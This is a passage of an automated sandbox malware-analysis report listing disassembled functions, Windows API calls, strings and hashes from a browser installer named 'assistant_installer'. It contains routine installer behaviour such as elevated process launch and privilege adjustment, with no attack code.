                                                                                                                                                                                                                • GetLastError.KERNEL32(?,0084F865,00000000,00000001,00000000,00000000,?,00840D7B,?,?,00000000,?,00000000,?,0084080F,00000000), ref: 008564BC
                                                                                                                                                                                                                  • Part of subcall function 00856510: CloseHandle.KERNEL32(FFFFFFFE,008564CC,?,0084F865,00000000,00000001,00000000,00000000,?,00840D7B,?,?,00000000,?,00000000), ref: 00856520
                                                                                                                                                                                                                • ___initconout.LIBCMT ref: 008564CC
                                                                                                                                                                                                                  • Part of subcall function 008564EE: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0085648A,0084F852,00000000,?,00840D7B,?,?,00000000,?), ref: 00856501
                                                                                                                                                                                                                • WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,?,0084F865,00000000,00000001,00000000,00000000,?,00840D7B,?,?,00000000,?), ref: 008564E1
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2744216297-0
                                                                                                                                                                                                                • Opcode ID: ef34493589cb95dc7e8fd32985b030614ac2fae1d0e43926c0973eff16ad675e
                                                                                                                                                                                                                • Instruction ID: 1c8a6ecbe00949ab4886969785169fa0402fe7e521102c9a683fc127acb6ed02
                                                                                                                                                                                                                • Opcode Fuzzy Hash: ef34493589cb95dc7e8fd32985b030614ac2fae1d0e43926c0973eff16ad675e
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 84F01C36400119BBCF222F99DC04A8D3F26FB093A1B494411FE18C6920EA72CCB09B92
                                                                                                                                                                                                                Function 008295A7 Relevance: 6.0, APIs: 4, Instructions: 25COMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • SleepConditionVariableCS.KERNELBASE(?,0082950C,00000064), ref: 008295CA
                                                                                                                                                                                                                • LeaveCriticalSection.KERNEL32(008A4FC0,?,?,0082950C,00000064,?,?,?,0078EFCF,008A5134,?,?,?,?,0078EBD1,00000000), ref: 008295D4
                                                                                                                                                                                                                • WaitForSingleObjectEx.KERNEL32(?,00000000,?,0082950C,00000064,?,?,?,0078EFCF,008A5134,?,?,?,?,0078EBD1,00000000), ref: 008295E5
                                                                                                                                                                                                                • EnterCriticalSection.KERNEL32(008A4FC0,?,0082950C,00000064,?,?,?,0078EFCF,008A5134,?,?,?,?,0078EBD1,00000000,00000000), ref: 008295EC
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3269011525-0
                                                                                                                                                                                                                • Opcode ID: c36c60b3b5822390c2d768af3ecd30ebe572b739e97c0ad1af5a88a5a13ffb74
                                                                                                                                                                                                                • Instruction ID: 1ada13a5d8fb4d91b6f95765d7fbdf879d8ec9875ddc19f3b1dbea8d7d6992f2
                                                                                                                                                                                                                • Opcode Fuzzy Hash: c36c60b3b5822390c2d768af3ecd30ebe572b739e97c0ad1af5a88a5a13ffb74
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 00E09231644134FFDF022B90FD08A9D7F15FB87761B052011FA05965608FA559019BD5
                                                                                                                                                                                                                Function 0074A770 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 295COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: ScopedBlockingCall
                                                                                                                                                                                                                • API String ID: 4218353326-1243657212
                                                                                                                                                                                                                • Opcode ID: 2f15081d5900d2950945a0bfc5fa48d5afa616d348eefde33181a71a20c721ee
                                                                                                                                                                                                                • Instruction ID: cb92123a9a375bce677124ac733297423b38ef2c44c082cf57be78a14f1b6369
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2f15081d5900d2950945a0bfc5fa48d5afa616d348eefde33181a71a20c721ee
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 81B18FB0600B019FD724DF29C981A27B7E6FF49320F548A2DE49A87B91D775F805CB91
                                                                                                                                                                                                                Function 0074AAD0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 295COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ScopedBlockingCallWithBaseSyncPrimitives, xrefs: 0074AB14
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: ScopedBlockingCallWithBaseSyncPrimitives
                                                                                                                                                                                                                • API String ID: 4218353326-1856630658
                                                                                                                                                                                                                • Opcode ID: ff0cd566ae0dbc72a0d54d9ccc2a008696cce78e78553f777f09545a826172c4
                                                                                                                                                                                                                • Instruction ID: ce7534b1d93cae42edda12852c0140a6b8bd0430564fc68590ad53a00e63c9fa
                                                                                                                                                                                                                • Opcode Fuzzy Hash: ff0cd566ae0dbc72a0d54d9ccc2a008696cce78e78553f777f09545a826172c4
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 6FB17DB0600B019FD764DF29C981A27B7E2FF49320F548A2DE4AA87B91D775F844CB91
                                                                                                                                                                                                                Function 00752A00 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 263COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateDirectoryW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00752D05
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ../../base/files/file_util_win.cc, xrefs: 00752A52
                                                                                                                                                                                                                • CreateTemporaryDirInDir, xrefs: 00752A57
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CreateDirectory
                                                                                                                                                                                                                • String ID: ../../base/files/file_util_win.cc$CreateTemporaryDirInDir
                                                                                                                                                                                                                • API String ID: 4241100979-140310067
                                                                                                                                                                                                                • Opcode ID: caa29b920c45f4070a910134aa9ecac085944a9eaeb8b28004c9fb5143e773cb
                                                                                                                                                                                                                • Instruction ID: b3264fce12b1193f8ad68a99c769c5a75fee4b83a6d4d61804576143f3a67a99
                                                                                                                                                                                                                • Opcode Fuzzy Hash: caa29b920c45f4070a910134aa9ecac085944a9eaeb8b28004c9fb5143e773cb
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 44A1F2B1508380ABD710DF14C885BAFBBE0BFD6314F040A1DF8D567292DB79A6498797
                                                                                                                                                                                                                Function 00703E50 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 237COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: Shorcut path is not a string$components
                                                                                                                                                                                                                • API String ID: 4218353326-660354247
                                                                                                                                                                                                                • Opcode ID: 98f030d65953f1533539a9cf925ce904257830a528b6075f5aaecc1f27452c46
                                                                                                                                                                                                                • Instruction ID: 85e0bff1e7c055c9aa9b22bbb5a443cb9c2780db1a35a11db3a75ab58ce046e6
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 98f030d65953f1533539a9cf925ce904257830a528b6075f5aaecc1f27452c46
                                                                                                                                                                                                                • Instruction Fuzzy Hash: F8919EB16083449FC710EF28C88096BFBE5FF89350F448A2DF59997292DB35E945CB92
                                                                                                                                                                                                                Function 007131E0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • SHAssocEnumHandlersForProtocolByApplication.SHELL32(?,0085CEF4,00000000), ref: 00713219
                                                                                                                                                                                                                • IIDFromString.OLE32({CA635855-B44E-4541-9591-9FAA53354A53},?,FFFFFFFF), ref: 0071338C
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • {CA635855-B44E-4541-9591-9FAA53354A53}, xrefs: 00713387
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ApplicationAssocEnumFromHandlersProtocolString
                                                                                                                                                                                                                • String ID: {CA635855-B44E-4541-9591-9FAA53354A53}
                                                                                                                                                                                                                • API String ID: 1503932110-2735895030
                                                                                                                                                                                                                • Opcode ID: 0d58a4288f6326caeb74cbf492c2d5396648ad3ad2bf929d6eddbd72c38bf3bf
                                                                                                                                                                                                                • Instruction ID: 692c26916c49d73d5609b2c78c4ce6458e6014cd7971a9953805ac1c9c789c88
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0d58a4288f6326caeb74cbf492c2d5396648ad3ad2bf929d6eddbd72c38bf3bf
                                                                                                                                                                                                                • Instruction Fuzzy Hash: A671A271604351DFDB14CF28C484AABBBE4FF88724F14451DF8A99B290DB34EA85CB96
                                                                                                                                                                                                                Function 006FCC90 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 161COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 006FCD83
                                                                                                                                                                                                                  • Part of subcall function 0083D9B4: IsProcessorFeaturePresent.KERNEL32(00000017,00846F16,?,0083C03F,?,?,?,00000000,?,?,006FCEDF,?,?,?,0072EE62,?), ref: 0083D9D0
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FeaturePresentProcessor_strlen
                                                                                                                                                                                                                • String ID: ... (message truncated)$[%s : %d] RAW:
                                                                                                                                                                                                                • API String ID: 2631407230-3262997248
                                                                                                                                                                                                                • Opcode ID: 62d142d12f4ed3dd5a227882827c4dafe5bfddd3a9530f957b0774765aa800e6
                                                                                                                                                                                                                • Instruction ID: 135e6d13470bc098363bae1c30244ffe6bae9a974e9276770f96217377d066bc
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 62d142d12f4ed3dd5a227882827c4dafe5bfddd3a9530f957b0774765aa800e6
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 1151F472A0021DAFDB10EF68DC81EEB7BA9FF45354F004069FD099B241DB319A14CBA0
                                                                                                                                                                                                                Function 00711AD0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ShellExecuteExW.SHELL32(?), ref: 00711BDB
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • RunElevatedProcess, xrefs: 00711BBE
                                                                                                                                                                                                                • ../../opera/desktop/windows/os_operations/os_operations_impl.cc, xrefs: 00711BB9
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExecuteShell
                                                                                                                                                                                                                • String ID: ../../opera/desktop/windows/os_operations/os_operations_impl.cc$RunElevatedProcess
                                                                                                                                                                                                                • API String ID: 587946157-422436730
                                                                                                                                                                                                                • Opcode ID: 35f3f83f55367bb7afeb419e63b33a94752b1dd6fa6a451702d7aedd05a7b8c0
                                                                                                                                                                                                                • Instruction ID: 7d573314e91d956264328cf55a56ca9ad943bcc2aa876552097beb8acd24a72d
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 35f3f83f55367bb7afeb419e63b33a94752b1dd6fa6a451702d7aedd05a7b8c0
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5A416FB1910B41DFD7209F38C885AA2F7E4FF98310F408A1EE9DA97641E774B558CB81
                                                                                                                                                                                                                Function 00792E80 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 113COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 00792F5F
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 00792F95
                                                                                                                                                                                                                  • Part of subcall function 007D48D0: EventUnregister.ADVAPI32(?,?,00000000,?,00792F09,Google.Chrome,00868194,00792FF0,00000000), ref: 007D48E4
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen$EventUnregister
                                                                                                                                                                                                                • String ID: Google.Chrome
                                                                                                                                                                                                                • API String ID: 303537305-2537414952
                                                                                                                                                                                                                • Opcode ID: db96bee5d63cb8e19c9298ba38d833c2f8966dd44cdc78588789991a2f925157
                                                                                                                                                                                                                • Instruction ID: d12038200f03f9935c5b553a6f36dcf9cf6359aea13e85f7595c154e776da79f
                                                                                                                                                                                                                • Opcode Fuzzy Hash: db96bee5d63cb8e19c9298ba38d833c2f8966dd44cdc78588789991a2f925157
                                                                                                                                                                                                                • Instruction Fuzzy Hash: B7414BB1D012189FDB00DF98E885BDEBBF5FF48314F14416AE409AB341DB769946CBA1
                                                                                                                                                                                                                Function 007E3CAC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 007E3CE3
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileModuleName
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/misc/paths_win.cc$GetModuleFileName
                                                                                                                                                                                                                • API String ID: 514040917-3182889293
                                                                                                                                                                                                                • Opcode ID: 27e47b7acb059d741bac43bc41e30e00d722cba913cafa4612f5cc67bd5e5629
                                                                                                                                                                                                                • Instruction ID: 159a6ad691ef7a71a106cf0f8c982972ab084c7aa92b1b44fab3ca66ed42edb2
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 27e47b7acb059d741bac43bc41e30e00d722cba913cafa4612f5cc67bd5e5629
                                                                                                                                                                                                                • Instruction Fuzzy Hash: F2310961B8021CA6FB64B6659C4FFFF37299B54700F000068F60AAF6C3DFAD5B448691
                                                                                                                                                                                                                Function 00710410 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 0071051B: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,0071043C,SeTakeOwnershipPrivilege), ref: 0071053C
                                                                                                                                                                                                                  • Part of subcall function 0071051B: OpenProcessToken.ADVAPI32(00000000,00000020,?,?,?,?,?,?,?,?,?,0071043C,SeTakeOwnershipPrivilege), ref: 00710546
                                                                                                                                                                                                                  • Part of subcall function 0071051B: LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00710577
                                                                                                                                                                                                                  • Part of subcall function 0071051B: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0071043C,SeTakeOwnershipPrivilege), ref: 007105A9
                                                                                                                                                                                                                  • Part of subcall function 0071051B: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,0071043C,SeTakeOwnershipPrivilege), ref: 007105B3
                                                                                                                                                                                                                • SetNamedSecurityInfoW.ADVAPI32(?,?,00000001,00000000,00000000,00000000,00000000,SeTakeOwnershipPrivilege), ref: 00710489
                                                                                                                                                                                                                • LocalFree.KERNEL32(?,SeTakeOwnershipPrivilege), ref: 007104D2
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ProcessToken$AdjustCurrentErrorFreeInfoLastLocalLookupNamedOpenPrivilegePrivilegesSecurityValue
                                                                                                                                                                                                                • String ID: SeTakeOwnershipPrivilege
                                                                                                                                                                                                                • API String ID: 3132948474-3375656754
                                                                                                                                                                                                                • Opcode ID: a93a55ed3491238289f1cb93001d7ce95cb66baf043319a8807e63ce4694e98d
                                                                                                                                                                                                                • Instruction ID: 9442b71cd9a76a066c3259b17ac25aa753f3cd20f961685a24e68cb7ca2a0fdd
                                                                                                                                                                                                                • Opcode Fuzzy Hash: a93a55ed3491238289f1cb93001d7ce95cb66baf043319a8807e63ce4694e98d
